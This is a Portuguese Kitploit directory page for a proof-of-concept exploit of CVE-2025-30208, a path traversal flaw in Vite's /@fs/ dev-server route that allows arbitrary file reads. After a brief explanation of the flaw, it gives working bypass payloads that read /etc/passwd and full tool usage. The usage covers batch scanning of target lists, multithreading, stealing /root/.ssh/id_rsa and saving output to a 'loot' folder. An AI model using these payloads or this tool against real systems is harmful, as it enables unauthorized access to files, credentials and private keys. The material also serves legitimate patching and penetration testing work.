Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-30208 — Um PoC do script de exploit para a vulnerabilidade de leitura arbitrária de arquivos do Path Traversal /@fs/ do Vite no transformMiddleware (CVE-2025-30208). | Kitploit
Ferramentas/GitHubGitHub/4xura/cve-2025-30208
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHub4xura/cve-2025-30208

CVE-2025-30208

Um PoC do script de exploit para a vulnerabilidade de leitura arbitrária de arquivos do Path Traversal /@fs/ do Vite no transformMiddleware (CVE-2025-30208).

Ver Repositório
1051há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-30208

Um PoC do script de exploração para a vulnerabilidade de Leitura Arbitrária de Arquivos do Vite /@fs/ Path Traversal em transformMiddleware (CVE-2025-30208). Uma análise detalhada pode ser consultada neste post.

Vulnerável nas versões anteriores a:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Visão Geral

Vite é um projeto popular de código aberto que pode ser obtido no Github e em seu site oficial. Ele usa um prefixo especial, @fs, para permitir acesso direto a caminhos de arquivo absolutos no modo de desenvolvimento:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

Mas para prevenir abusos, o Vite limita o que pode ser acessado através de @fs usando uma configuração como:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

Então, em teoria, arquivos fora do diretório permitido (como /etc/passwd) devem ser bloqueados — mesmo que alguém tente usar truques como ../../../.

No entanto, a falha reside em como o Vite analisa e verifica URLs (através do middleware/função transformMiddleware). O middleware/função usa ensureServingAccess(url, ...) para verificar se uma requisição de arquivo via /@fs/ era permitida.

No entanto, um atacante poderia criar uma requisição com separadores de consulta à direita na URL como:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

Essas formas contornariam os filtros de expressão regular (rawRE, urlRE) e as verificações de segurança devido à string de consulta malformada ainda corresponder à lógica de rota. O que está acontecendo:

  1. O caminho é /@fs/../../../etc/passwd
  2. A string de consulta é raw?? (malformada propositalmente)
  3. Internamente, o Vite tenta remover ou normalizar caracteres à direita como ?, e isso é feito antes de verificar se o caminho do arquivo é permitido.
  4. No entanto, a verificação falha ao analisar e corresponder corretamente a string de consulta, então a lógica de lista de permissões não se aplica.

Isso significa:

  • A requisição contorna a verificação de server.fs.allow.
  • O Vite a trata como uma requisição de acesso a arquivo válida.
  • E lê e retorna arquivos arbitrários como /etc/passwd, se existirem.

Uso do PoC

Uso básico

root@kitploit:~
python3 poc.py [OPTIONS]

Opções

Flag / OpçãoDescrição
-u, --urlURL de alvo único (ex.: example.com:5173)
-f, --fileArquivo com lista de alvos (uma URL por linha)
-p, --pathCaminho do sistema de arquivos para ler (padrão: /etc/passwd)
-b, --bypassString de consulta para contornar a validação de rota (padrão: ?raw??)
--proxyURL do proxy (ex.: http://127.0.0.1:8080)
-o, --outputDiretório de saída para salvar resultados de exploração (padrão: results)
-t, --threadsNúmero de threads para modo em lote (padrão: 10)
-h, --helpMostra mensagem de ajuda e sai

Exemplos

Exploração de alvo único:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

Alvo único com caminho LFI personalizado para vazar o arquivo que desejamos:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Exploração em lote com múltiplos alvos:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

Consulta de contorno personalizada:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Usando um proxy (ex.: Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Diretório de saída personalizado:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Aumentar o número de threads no modo em lote:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
Baixar ferramenta